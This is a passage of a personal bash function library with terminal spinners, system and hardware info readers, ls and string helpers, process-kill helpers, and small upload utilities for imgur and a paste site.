    echo -n "Please wait "
    while [ -d /proc/$PROC ];do
	while [ "$COUNT" -lt 10 ];do
	    echo -ne '\x08  ' ; sleep 0.1
	    ((COUNT++))
	done
	until [ "$COUNT" -eq 0 ];do
	    echo -ne '\x08\x08 ' ; sleep 0.1
	    ((COUNT -= 1))
	done
    done
}

###### spin
function spin() {  
        echo -n "|/     |"
        while [ -d /proc/$1 ]
        do
        # moving right
        echo -ne "\b\b\b\b\b\b\b-     |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\b\\     |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\b|     |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\b /    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b-    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\\    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b|    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b /   |"
        sleep .05
        echo -ne "\b\b\b\b\b-   |"
        sleep .05
        echo -ne "\b\b\b\b\b\\   |"
        sleep .05
        echo -ne "\b\b\b\b\b|   |"
        sleep .05
        echo -ne "\b\b\b\b\b /  |"
        sleep .05
        echo -ne "\b\b\b\b-  |"
        sleep .05
        echo -ne "\b\b\b\b\\  |"
        sleep .05
        echo -ne "\b\b\b\b|  |"
        sleep .05
        echo -ne "\b\b\b\b / |"
        sleep .05
        echo -ne "\b\b\b- |"
        sleep .05
        echo -ne "\b\b\b\\ |"
        sleep .05
        echo -ne "\b\b\b| |"
        sleep .05
        echo -ne "\b\b\b /|"
        sleep .05
        echo -ne "\b\b-|"
        sleep .05
        echo -ne "\b\b\\|"
        sleep .05
        echo -ne "\b\b||"
        sleep .05
        echo -ne "\b\b/|"
        sleep .05
        # moving left
        echo -ne "\b\b||"
        sleep .05
        echo -ne "\b\b\\|"
        sleep .05
        echo -ne "\b\b-|"
        sleep .05
        echo -ne "\b\b\b/ |"
        sleep .05
        echo -ne "\b\b\b| |"
        sleep .05
        echo -ne "\b\b\b\\ |"
        sleep .05
        echo -ne "\b\b\b- |"
        sleep .05
        echo -ne "\b\b\b\b/  |"
        sleep .05
        echo -ne "\b\b\b\b|  |"
        sleep .05
        echo -ne "\b\b\b\b\\  |"
        sleep .05
        echo -ne "\b\b\b\b-  |"
        sleep .05
        echo -ne "\b\b\b\b\b/   |"
        sleep .05
        echo -ne "\b\b\b\b\b|   |"
        sleep .05
        echo -ne "\b\b\b\b\b\\   |"
        sleep .05
        echo -ne "\b\b\b\b\b-   |"
        sleep .05
        echo -ne "\b\b\b\b\b\b/    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b|    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\\    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b-    |"
        sleep .05
        echo -ne "\b\b\b\b\b\b\b/     |"
        sleep .05
        done
    echo -e "\b\b\b\b\b\b\b\b\b|=======| done!"
}

###### spinner
function spinner()
{
    PROC=$1
    while [ -d /proc/$PROC ];do
	echo -ne '\e[01;32m/\x08' ; sleep 0.05
	echo -ne '\e[01;32m-\x08' ; sleep 0.05
	echo -ne '\e[01;32m\\\x08' ; sleep 0.05
	echo -ne '\e[01;32m|\x08' ; sleep 0.05
    done
}

###### Display a progress process
# To start the spinner2 function, you have to send the function into the background. To stop the spinner2 function, you have to define the argument "stop".
# EXAMPLE:
#    echo -n "Starting some daemon "; spinner2 &
#    if sleep 10; then
#       spinner2 "stop"; echo -e "\t[ OK ]"
#    else
#       spinner2 "stop"; echo -e "\t[ FAILED ]"
#    fi
function spinner2() {
      local action=${1:-"start"}
      declare -a sign=( "-" "/" "|" "\\\\" )
      # define singnal file...
      [ "$action" = "start" ] && echo 1 > /tmp/signal
      [ "$action" = "stop" ] && echo 0 > /tmp/signal
      while [ "$( cat /tmp/signal 2>/dev/null )" == "1" ] ; do
          for (( i=0; i<${#sign[@]}; i++ )); do
              echo -en "${sign[$i]}\b"
              # with this command you can use millisecond as sleep time - perl rules ;-)
              perl -e 'select( undef, undef, undef, 0.1 );'
          done
      done
      # clear the last ${sign[$i]} sign at finish...
      [ "$action" = "stop" ] && echo -ne " \b"
}

###### working
function working()
{
   while [ -d /proc/$1 ]
   do
    echo -ne "w      \b\b\b\b\b\b\b";sleep .08;
    echo -ne "wo     \b\b\b\b\b\b\b";sleep .08;
    echo -ne "wor    \b\b\b\b\b\b\b";sleep .08;
    echo -ne "work   \b\b\b\b\b\b\b";sleep .08;
    echo -ne "worki  \b\b\b\b\b\b\b";sleep .08;
    echo -ne "workin \b\b\b\b\b\b\b";sleep .08;
    echo -ne "working\b\b\b\b\b\b\b";sleep .08;
    echo -ne " orking\b\b\b\b\b\b\b";sleep .08;
    echo -ne "  rking\b\b\b\b\b\b\b";sleep .08;
    echo -ne "   king\b\b\b\b\b\b\b";sleep .08;
    echo -ne "    ing\b\b\b\b\b\b\b";sleep .08;
    echo -ne "     ng\b\b\b\b\b\b\b";sleep .08;
    echo -ne "      g\b\b\b\b\b\b\b";sleep .08;
   done
}

####### Get just the HTTP headers from a web page(and its redirects)
function http_headers() { /usr/bin/curl -I -L $@ ; }

####### Convert number of bytes to human readable filesize
function human_filesize() { awk -v sum="$1" ' BEGIN {hum[1024^3]="Gb"; hum[1024^2]="Mb"; hum[1024]="Kb"; for (x=1024^3; x>=1024; x/=1024) { if (sum>=x) { printf "%.2f %s\n",sum/x,hum[x]; break; } } if (sum<1024) print "1kb"; } ' ; }

####### :h gets you to the vim help menu or directly to :help wordname
function :h() {  vim --cmd ":silent help $@" --cmd "only"; }

###### machine details - Show computer information of all sorts (requires 'gawk': sudo apt-get install gawk)
function ii()
{
    echo -e "\n${RED}You are logged onto:$NC " ; hostname
    echo -e "\n${RED}Additionnal information:$NC " ; uname -a
    echo -e "\n${RED}Users logged on:$NC " ; w -h
    echo -e "\n${RED}Current date:$NC " ; date
    echo -e "\n${RED}Machine stat:$NC " ; uptime
    echo -e "\n${RED}Disk space:$NC " ; df -h
    echo -e "\n${RED}Memory stats (in MB):$NC " ;
    if [ "$OS" = "Linux" ]; then
        free -m
    elif [ "$OS" = "Darwin" ]; then
        vm_stat
    fi
    echo -e "\n${RED}IPs:$NC " ; ips
}

###### paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI
function listhw() { curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo; }

###### full memcache client in under 255 chars (uses dd, sed and nc)
# usage: mem memcache-command [arguments]
function mem() { { case $1 in st*|[gid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }

###### notify on Battery power - works on laptops, desktop having communication b/w UPS & CPU
function NotifyOnBATTERY() { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done ; }

###### colored status of running services
function services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n"; }

###### show_battery_load
function show_battery_load()
{
    case $1 in
	*acpi )
	    check_opt acpi show_battery_load::acpi
	    if [[ $? != "1" ]]; then
		load=$(acpi -b | sed -e "s/.* \([1-9][0-9]*\)%.*/\1/")
		out="$(acpi -b)"
		state="$(echo "${out}" | awk '{print $3}')"
		case ${state} in
		    charging,)
			statesign="^"
		    ;;
		    discharging,)
			statesign="v"
		    ;;
		    charged,)
			statesign="°"
		    ;;
		esac
		battery="${statesign}${load}"
		echo $battery
	    fi
	;;
	*apm )
	    check_opt apm show_battery_load::apm
	    if [[ $? != "1" ]]; then
		result="$(apm)"
		case ${result} in
		    *'AC on'*)
			state="^"
		    ;;
		    *'AC off'*)
			state="v"
		    ;;
		esac
		load="${temp##* }"
		battery="${state}${load}"
		echo $battery
	    fi
	;;
	* )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_battery_load${ewhite} |${egreen} --acpi${eiceblue} [show batteryload using acpi]\
	    \n${eorange}show_battery_load${ewhite} |${egreen} --apm${eiceblue} [show batteryload using apm]" | column -t
	    echo ""
	    tput sgr0
	;;
    esac
}

###### show_cpu_load
function show_cpu_load()
{
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_cpu_load${ewhite} |${egreen} ! no options !\n"
	    tput sgr0
	;;
	* )
	    NICE_IGNORE=20
	    t="0"
	    while read cpu ni; do
		if [[ $ni == *-* || $ni -le $NICE_IGNORE ]]; then
		    t="$t + $cpu"
		fi
		if [[ ${cpu%%.*} -eq 0 ]]; then
		    break
		fi
	    done < <(ps -Ao "%cpu= ni="| sort -r)
	    cpu=$(echo "$t" | bc)
	    if [[ ! "${cpu#.}x" = "${cpu}x" ]]; then
		cpu="0${cpu}"
	    fi
	    cpu=${cpu%%.*}
	    if [[ $cpu -gt 100 ]]; then
		cpu=100
	    fi
	    if [[ $cpu -lt 16 ]]; then
		color=${eiceblue}
	    elif [[ $cpu -lt 26 ]]; then
		color=${eturqoise}
	    elif [[ $cpu -lt 41 ]]; then
		color=${esmoothgreen}
	    elif [[ $cpu -lt 61 ]]; then
		color=${egreen}
	    elif [[ $cpu -lt 81 ]]; then
		color=${eyellow}
	    else	color=${ered}
	    fi
	    if [[ $cpu -lt 10 ]]; then
		prepend=00
	    elif [[ $cpu -lt 100 ]]; then
		prepend=0
	    fi
	    if [[ $enabcol == true ]]; then
		echo -e "$color$prepend$cpu"
	    else	echo $prepend$cpu
	    fi
	;;
    esac
}

###### show_mem
function show_mem() {  
    case $1 in
	*used )
	    used=$(free -m | grep 'buffers/cache' | awk '{print $3}')
	    if [[ $used -lt 1000 ]]; then
		echo 0$used
	    elif [[ $used -lt 100 ]]; then
		echo 00$used
	    else	echo $used
	    fi
	;;
	*free )
	    free=$(free -m | grep 'buffers/cache' | awk '{print $4}')
	    if [[ $free -lt 1000 ]]; then
		echo 0$free
	    elif [[ $free -lt 100 ]]; then
		echo 00$ree
	    else	echo $free
	    fi
	;;
	*used-percent )
	    free | {
		read
		read m t u f s b c;
		f=$[$f + $b + $c]
		f=$[100-100*$f/$t]
		if [ $f -gt 100 ]; then
		    f=100
		fi
		echo ${f}%
	}
	;;
	*free-percent )
	    free | {
		read
		read m t u f s b c;
		f=$[$f + $b + $c]
		f=$[100-100*$f/$t]
		if [ $f -gt 100 ]; then
		    f=100
		fi
		echo $((100-${f}))%
		}
	;;
	* )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "\n${eorange}show_mem ${ewhite}|${egreen} --used ${eiceblue}[display used memory in mb]\
	    \n${eorange}show_mem ${ewhite}|${egreen} --free ${eiceblue}[display free memory in mb]\
	    \n${eorange}show_mem ${ewhite}|${egreen} --percent-used ${eiceblue}[display used memory in %]\
	    \n${eorange}show_mem ${ewhite}|${egreen} --percent-free ${eiceblue}[display free memory in %]" | column -t
	    echo ""
	    tput sgr0
	;;
    esac
}

###### show_size
function show_size()
{
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_size ${ewhite}|${egreen} ! no options !\n"
	    tput sgr0
	;;
	* )
	    let TotalBytes=0
	    for Bytes in $(ls -lA -1 | grep "^-" | awk '{ print $5 }'); do
		let TotalBytes=$TotalBytes+$Bytes
	    done
	    if [ $TotalBytes -lt 1024 ]; then
		TotalSize=$(echo -e "scale=1 \n$TotalBytes \nquit" | bc)
		suffix="B"
	    elif [ $TotalBytes -lt 1048576 ]; then
		TotalSize=$(echo -e "scale=1 \n$TotalBytes/1024 \nquit" | bc)
		suffix="KB"
	    elif [ $TotalBytes -lt 1073741824 ]; then
		TotalSize=$(echo -e "scale=1 \n$TotalBytes/1048576 \nquit" | bc)
		suffix="MB"
	    else
		TotalSize=$(echo -e "scale=1 \n$TotalBytes/1073741824 \nquit" | bc)
		suffix="GB"
	    fi
	    echo "${TotalSize} ${suffix}"
	;;
    esac
}

###### show_space
function show_space()
{
    case $1 in
	*used-percent )
	    echo $(df | grep -w $2 | gawk '{print $5}')
	;;
	*free-percent )
	    echo $((100-$(df | grep -w $2 | gawk '{print $5}' | sed -e 's/\%//g')))%
	;;
	*used )
	    echo $(df -h | grep -w $2 | gawk '{print $3}')B
	;;
	*free )
	    echo $(df -h | grep -w $2 | gawk '{print $4}')B
	;;
	*total )
	    echo $(df -h | grep -w $2 | gawk '{print $2}')B
	;;
	* )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_space ${ewhite}|${egreen} --used ${eiceblue}[display used space in mb/gb]\
	    \n${eorange}show_space ${ewhite}|${egreen} --free ${eiceblue}[display free space in mb/gb]\
	    \n${eorange}show_space ${ewhite}|${egreen} --percent-used ${eiceblue}[display used space in %]\
	    \n${eorange}show_space ${ewhite}|${egreen} --percent-free ${eiceblue}[display free space in %]" | column -t
	    echo ""
	    tput sgr0
	;;
    esac
}

###### show_system_load
function show_system_load() {  
    case $1 in
	1 )
	    load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g")
	;;
	10 )
	    load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\2/" -e "s/ //g")
	;;
	15 )
	    load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\3/" -e "s/ //g")
	;;
	*help | "")
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_system_load${ewhite} | ${egreen}1 ${eiceblue}[load average for 1 minute]\
	    \n${eorange}show_system_load${ewhite} | ${egreen}10 ${eiceblue}[load average for 10 minutes]\
	    \n${eorange}show_system_load${ewhite} | ${egreen}15 ${eiceblue}[load average for 15 minutes]\n" | column -t
	    tput sgr0
	;;
    esac
    if [[ $load != "" ]]; then
    tmp=$(echo $load*100 | bc)
    load100=${tmp%.*}
    if [[ $enabcol == true ]]; then
	if [[ ${load100} -lt 35 ]]; then
	    loadcolor=${eblue}
	elif [[ ${load100} -ge 35 ]] && [[ ${load100} -lt 120 ]]; then
	    loadcolor=${eiceblue}
	elif [[ ${load100} -ge 120 ]] && [[ ${load100} -lt 200 ]]; then
	    loadcolor=${egreen}
	elif [[ ${load100} -ge 200 ]] && [[ ${load100} -lt 300 ]]; then
	    loadcolor=${eyellow}
	else	loadcolor=${ered}
	fi
    fi
    echo -e $loadcolor$load
    fi
}

###### show_tty
function show_tty()
{
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_tty${ewhite}|${egreen} ! no options !\n"
	    tput sgr0
	;;
	* )
	    TTY=$(tty)
	    echo ${TTY:5} | sed -e 's/\//\:/g'
	;;
    esac
}

###### show_uptime
function show_uptime() {
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}show_uptime${ewhite} |${egreen} ! no options !\n"
	    tput sgr0
	;;
	* )
	    uptime=$(</proc/uptime)
	    timeused=${uptime%%.*}
	    if (( timeused > 86400 )); then
	    ((
		daysused=timeused/86400,
		hoursused=timeused/3600-daysused*24,
		minutesused=timeused/60-hoursused*60-daysused*60*24,
		secondsused=timeused-minutesused*60-hoursused*3600-daysused*3600*24
	    ))
		if (( hoursused < 10 )); then
		    hoursused=0${hoursused}
		fi
		if (( minutesused < 10 )); then
		    minutesused=0${minutesused}
		fi
		if (( secondsused < 10 )); then
		    secondsused=0${secondsused}
		fi
		output="${daysused}d ${hoursused}h:${minutesused}m:${secondsused}s"
	    elif (( timeused < 10 )); then
		output="0d 00h:00m:0$(timeused)s"
	    elif (( timeused < 60 )); then
		output="0d 00h:00m:${timeused}s"
	    elif (( timeused < 3600 )); then
	    ((
		minutesused=timeused/60,
		secondsused=timeused-minutesused*60
	    ))
		if (( minutesused < 10 )); then
		    minutesused=0${minutesused}
		fi
		if (( secondsused < 10 )); then
		    secondsused=0${secondsused}
		fi
		output="0d 00h:${minutesused}m:${secondsused}s"
	    elif (( timeused < 86400 )); then
	    ((
		hoursused=timeused/3600,
		minutesused=timeused/60-hoursused*60,
		secondsused=timeused-minutesused*60-hoursused*3600
	    ))
		if (( hoursused < 10 )); then
		    hoursused=0${hoursused}
		fi
		if (( minutesused < 10 )); then
		    minutesused=0${minutesused}
		fi
		if (( secondsused < 10 )); then
		    secondsused=0${secondsused}
		fi
		output="0d ${hoursused}h:${minutesused}m:${secondsused}s"
	    fi
	    echo "$output"
	;;
    esac
}

###### STAT Function showing ALL info, stat options, and descriptions
function statt() { C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }

###### system_infos
function system_infos()
{
    case $1 in
	*cpu)
	    echo -e "${ewhite}CPU:\n"
	    echo -e "${eorange}Model:${eiceblue} $(grep "model name" /proc/cpuinfo | sed -e 's/.*: //g')"
	    echo -e "${eorange}MHz  :${eiceblue} $(grep "cpu MHz" /proc/cpuinfo | sed -e 's/.*: //g')\n"
	;;
	*kernel)
	    echo -e "${ewhite}Kernel:\n"
	    echo -e "${eorange}Release:${eiceblue} $(uname -r)"
	    echo -e "${eorange}Version:${eiceblue} $(uname -v)"
	    echo -e "${eorange}Machine:${eiceblue} $(uname -m)\n"
	;;
	*mem | *ram)
	    echo -e "${ewhite}RAM:\n"
	    echo -e "${eorange}Total:${eiceblue} $(((`showmem --free`) + (`showmem --used`))) MB"
	    echo -e "${eorange}Free :${eiceblue} $(showmem --free) MB"
	    echo -e "${eorange}Used :${eiceblue} $(showmem --used) MB\n"
	;;
	*partitions)
	    echo -e "${ewhite}Partitions:${eorange}\n"
	    echo -e "major minor blocks device-node ${eiceblue}\
	    \n$(cat /proc/partitions | sed -e '1,2d')" | column -t
	    echo ""
	;;
	*pci)
	    check_opt lspci systeminfos::pci
	    if [[ $? != "1" ]]; then
		echo -e "${ewhite}PCI Devices:\n${eiceblue}"
		lspci -vkmm
		echo ""
	    fi
	;;
	*usb)
	    check_opt lsusb systeminfos::usb
	    if [[ $? != "1" ]]; then
		echo -e "${ewhite}USB Devices:\n${eiceblue}"
		lsusb -v
		echo ""
	    fi
	;;
	*mounts)
	    echo -e "${ewhite}Mounts:\n${eorange}\
	    \ndevice-node on mount-point type filesystem options\n" ${eiceblue} "\n\n$(mount)" | column -t
	    echo ""
	;;
	*bios)
	    check_opt dmidecode systeminfos::bios
	    if [[ $? != "1" && $EUID == 0 ]]; then
		echo -e "${ewhite}SMBIOS/DMI Infos:${eiceblue}\n"
		dmidecode -q
	    fi
	;;
	*all)
	    system_infos_cpu
	    system_infos_kernel
	    system_infos_memory
	    system_infos_partitions
	    # system_infos_pci
	    # system_infos_usb
	    system_infos_mounts
	    # system_infos_bios
	;;
	*)
	    echo -e "\n${ewhite}Usage:\n"
	    echo -e "${eorange}system_infos ${ewhite}|${egreen} --cpu\t\t${eiceblue}[Display CPU Model and Freq]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --kernel\t${eiceblue} 	[Display Kernel Version, Release and Machine]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --memory\t${eiceblue} 	[Display Total, Free and Used RAM]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --partitions\t${eiceblue}[Display Major, Minor, Blocks and Node for all Paritions]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --pci\t\t${eiceblue}[Display Infos about all PCI Devices (and their kernel-module)]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --usb\t\t${eiceblue}[Display Infos about all USB Devices (and their kernel-module)]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --bios\t${eiceblue} 	[Display SMBIOS DMI Infos]\
	    \n${eorange}system_infos ${ewhite}|${egreen} --mounts\t${eiceblue} 	[Display all mounted devices]\n"
	    tput sgr0
	;;
    esac
}

###### shows various info on running activities
function treeps() {
    ps f -u $USER -o command,pid,%cpu,%mem,time,etime,tty | \
	awk 'NR <= 1 {print;next} !/awk/ && $0~var' var=${1:-".*"}
}

###### uptime in minutes
function uptime_min()
{
	awk  '{print $0/60;}' /proc/uptime
}

###### info about current open windows
function wininfo() {
    xprop | grep -w "WM_NAME\|WM_CLASS\|WM_WINDOW_ROLE\|_NET_WM_STATE"
}

# Resizing an image				 #
#------------------------------------------////

# USAGE: image_resize "percentage of image resize" "input image" "output image"
function image_resize()
{
convert -sample "$1"%x"$1"% "$2" "$3"
}

####### Search IMDB.COM
function imdb()
{
firefox "http://www.imdb.com/find?s=all&q="${@}"&x=0&y=0" &
}

####### Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png.
function imgur() { convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -E -o "<original>(.)*</original>" | grep -E -o "http://i.imgur.com/[^<]*" ; }

####### INC
function inc() {
    let OPS=$OPS+1
    echo "* pcur $OPS"
}

####### Displays metadata for specified media file $1 = media file name
function info() {
    EXT=`echo "${1##*.}" | sed 's/\(.*\)/\L\1/'`
    if [ "$EXT" == "mp3" ]; then
        id3v2 -l "$1"
        echo
        mp3gain -s c "$1"
    elif [ "$EXT" == "flac" ]; then
        metaflac --list --block-type=STREAMINFO,VORBIS_COMMENT "$1"
    else
        echo "ERROR: Not a supported file type."
    fi
}

# Sample introduction
#------------------------------------------////

function intro() {
less <<INTRO
Hi, welcome to your bytesized shell :)
We've added a few shell aliases (commands) for common
things, to make your life easier, here's a quick list of
things you might want to do:
command - what it does
For more advances users:
press "q" to exit this screen
This screen will not be displayed to you in the future, if you want to see it again, type "intro"
INTRO
}

# Check variable has been set
#------------------------------------------////

###### works in all shells - does not require a test - handles like an assertion
function isdef() { eval test -n \"\${$1+1}\"; }

# Jump to any directory...
#------------------------------------------////

###### ..below the current one - usage: jd dir (requires globstar. To set globstar use: shopt -s globstar)
function jd() { cd **/"$@"; }

###### ..above the current one
function jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); }

###### usage: upto directory
function upto() { cd "${PWD/\/$@\/*//$@}"; }

# Kill a process by name
#------------------------------------------////

###### example: killps firefox-bin
function killps()
{
    local pid pname sig="-TERM" # default signal
    if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
        echo "Usage: killps [-SIGNAL] pattern"
        return;
    fi
    if [ $# = 2 ]; then sig=$1 ; fi
    for pid in $(myps | nawk '!/nawk/ && $0~pat { print $2 }' pat=${!#}) ; do
        pname=$(myps | nawk '$2~var { print $6 }' var=$pid )
        if ask "Kill process $pid <$pname> with signal $sig ? "
            then kill $sig $pid
        fi
    done
}

###### example: pskill firefox-bin
function psgrep() {
    if [[ $1 == "-u" ]]; then
	ps aux | grep -v grep | grep $2 | awk '{ print $2 " : " $11}' | tee .temp
	CMDS=$(cat .temp)
    elif [[ $1 != "" ]]; then
	ps aux | grep -v grep | grep "$1" | awk '{ print $11 " : " $2 " : " $1 }' | tee .temp
	CMDS=$(cat .temp)
    fi
    if [[ $CMDS == "" ]]; then
	echo "no matching process"
    fi
    rm -f .temp
}

###### pskill
function pskill() {
    if [[ $1 ]]; then
	psgrep $1
	shift
	if [[ $CMDS != "" ]]; then
	    echo -e "\nenter process number to kill:\n"
	    read ID
	    if [[ ! $ID == 0 || ! $ID == "" ]]; then
		kill $@ $ID
	    fi
	fi
    fi
}

# Kindle connection/disconnection
#------------------------------------------////

###### be sure to press on unattached Kindle beforehand: "[SHIFT][SHIFT][N]", to start /test/bin/usbnetwork - and then connect via usb the Kindle
function kindle_connect()
{
	modprobe usbnet
	modprobe cdc_ether
	sudo ifconfig usb0 192.168.2.1
	ssh [email protected]
}

###### be sure to press on unattached Kindle afterwards: "[SHIFT][SHIFT][N]", to end /test/bin/usbnetwork
function kindle_disconnect()
{
	sudo ifconfig usb0 down
}

# Led set and reset
#------------------------------------------////

function kitt() {
    
    setleds -L -num;
    setleds -L -caps;
    setleds -L -scroll;
    while :; do
	setleds -L +num;
	sleep 0.2;
	setleds -L -num;
	setleds -L +caps;
	sleep 0.2;
	setleds -L -caps;
	setleds -L +scroll;
	sleep 0.2;
	setleds -L -scroll;
	setleds -L +caps;
	sleep 0.2;
	setleds -L -caps;
    done
    resetleds
}
###### resetleds
function resetleds()

{
    setleds -L < /dev/tty1
}

####### Concatenate stuff
function kitty() {
    
    cat -n "$@"
}

# Advanced ls functions
#------------------------------------------////

###### la
function la() {
    
    ls -A --group-directories-first "$@"
}

###### lg
function lg() {
    
    if [[ "$@" == "" ]]; then
	$@="*"
    fi
    ls -l --group-directories-first "$@" | gawk '{print $9, "belongs to Group ->", $4}' | column -t
}

###### ll
function ll() {
    
    ls -l --group-directories-first "$@"
}

###### Counts files, subdirectories and directory size and displays details about files depending on the available space
function lls() {
    # count files
    echo -n "<`find . -maxdepth 1 -mindepth 1 -type f | wc -l | tr -d '[:space:]'` files>"
    # count sub-directories
    echo -n " <`find . -maxdepth 1 -mindepth 1 -type d | wc -l | tr -d '[:space:]'` dirs/>"
    # count links
    echo -n " <`find . -maxdepth 1 -mindepth 1 -type l | wc -l | tr -d '[:space:]'` links@>"
    # total disk space used by this directory and all subdirectories
    echo " <~`du -sh . 2> /dev/null | cut -f1`>"
    ROWS=`stty size | cut -d' ' -f1`
    FILES=`find . -maxdepth 1 -mindepth 1 |
    wc -l | tr -d '[:space:]'`
    # if the terminal has enough lines, do a long listing
    if [ `expr "${ROWS}" - 6` -lt "${FILES}" ]; then
	ls
    else
	ls -hlAF --full-time
    fi
}

###### lo
function lo() {
    
    if [[ "$@" == "" ]]; then
	$@="*"
    fi
    ls -l --group-directories-first "$@" | gawk '{print $9, "belongs to User ->", $3}' | sed -e '1d' | column -t
}

###### l1
function l1() {
    
    ls -1 --group-directories-first "$@"
}

###### lm
function lm() {
    
    if [[ ! "$@" == "" ]]; then
	for file in "$@"; do
	    stat -c "%A %a %n" "$file" | gawk '{print "Permissions of:", $3, "->", $1, "("$2")"}'
	done | column -t
    fi
}

###### inspired by http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x279.html -> but I made it a single awk instead of an awk, forloop and a bc asumes we have awk available.  but really, who doesnt have awk? - let's get the size of the files in this dir
function lsbytes() {
    echo -n $(ls -l | awk '/^-/{total += $5} END{printf "%.2f", total/1048576}')
}

function lscd() {
    builtin cd "${@}" &>/dev/null
    . $BSNG_RC_DIR/dirinfo/display
    dirinfo_display
    echo -e "${epink}content:"
    ls $LSCD_OPTS
    echo "$PWD" > $HOME/.lastpwd
}

###### display long list of files with the given extension - example: lsext txt
function lsext()
{
	find . -type f -iname '*.'${1}'' -exec ls -l {} \; ;
}

###### another way to call for a list of files/folders
function lsr() { /bin/ls -l "$@"/..namedfork/rsrc ; }

###### sorted, recursive long file listing
function lsr_() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }

####### Show the single most recently modified file in a directory
function lastfile() { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; }

# Uppercase, lowercase, & cleanup strings & names
#------------------------------------------////

###### lowercase all files in the current directory
function lcfiles() {
    print -n 'Really lowercase all files? (y/n) '
    if read -q ; then
	for i in * ; do
	    mv $i $i:l
    done
    fi
}

###### Convert the first letter into lowercase letters
function lcfirst() {
      if [ -n "$1" ]; then
          perl -e 'print lcfirst('$1')'
      else
          cat - | perl -ne 'print lcfirst($_)'
      fi
}

###### usage: lower [STRING]...
function lower() { echo ${@,,}; }

###### usage: echo hELLO wORLD | lower - convert stdin to lower case
function lower_() { tr [A-Z] [a-z]; }

###### move filenames to lowercase
function lowercase()
{
    for file ; do
        filename=${file##*/}
        case "$filename" in
        */*) dirname==${file%/*} ;;
        *) dirname=.;;
        esac
        nf=$(echo $filename | tr A-Z a-z)
        newname="${dirname}/${nf}"
        if [ "$nf" != "$filename" ]; then
            mv "$file" "$newname"
            echo "lowercase: $file --> $newname"
        else
            echo "lowercase: $file not changed."
        fi
    done
}

###### Remove whitespace at the beginning of a string
#  @param string $1 string (optional, can also handle STDIN)
#  @return string
#  @example:    echo " That is a sentinece " | trim
function ltrim() {
      if [ -n "$1" ]; then
              echo $1 | sed 's/^[[:space:]]*//g'
      else
              cat - | sed 's/^[[:space:]]*//g'
      fi
}

###### Space removal and lowercases folders in current dir.
function rmspaces() {
    ls | while read -r FILE
        do
        mv -v "$FILE" `echo $FILE | tr ' ' '_' | tr -d '[{}(),\!]' | tr -d "\'" | tr '[A-Z]' '[a-z]' | sed 's/_-_/_/g'`
        done
}

###### Remove whitespace at the end of a string
#  @param string $1 string (optional, can also handle STDIN)
#  @return string
#  @example:    echo "That is a sentinece " | rtrim
function rtrim() {
      if [ -n "$1" ]; then
              echo $1 | sed 's/[[:space:]]*$//g'
      else
              cat - | sed 's/[[:space:]]*$//g'
      fi
}

###### Cut a string after X chars and append three points - Usage: string strim( string string [, int length ] )
function strim() {
      local string="$1"
      local length=${2:-30}
      [ "${#string}" -gt ${length} ] && string="${string:0:${length}}..."
      echo $string
}

###### Convert all alphabetic characters to lowercase
#  @param string $1|STDIN string
#  @return string
function strtolower() {
      if [ -n "$1" ]; then
        echo $1 | tr '[:upper:]' '[:lower:]'
      else
        cat - | tr '[:upper:]' '[:lower:]'
      fi
}

###### Convert all alphabetic characters converted to uppercase
#  @param string $1|STDIN string
#  @return string
function strtoupper() {
      if [ -n "$1" ]; then
        echo $1 | tr '[:lower:]' '[:upper:]'
      else
        cat - | tr '[:lower:]' '[:upper:]'
      fi
}

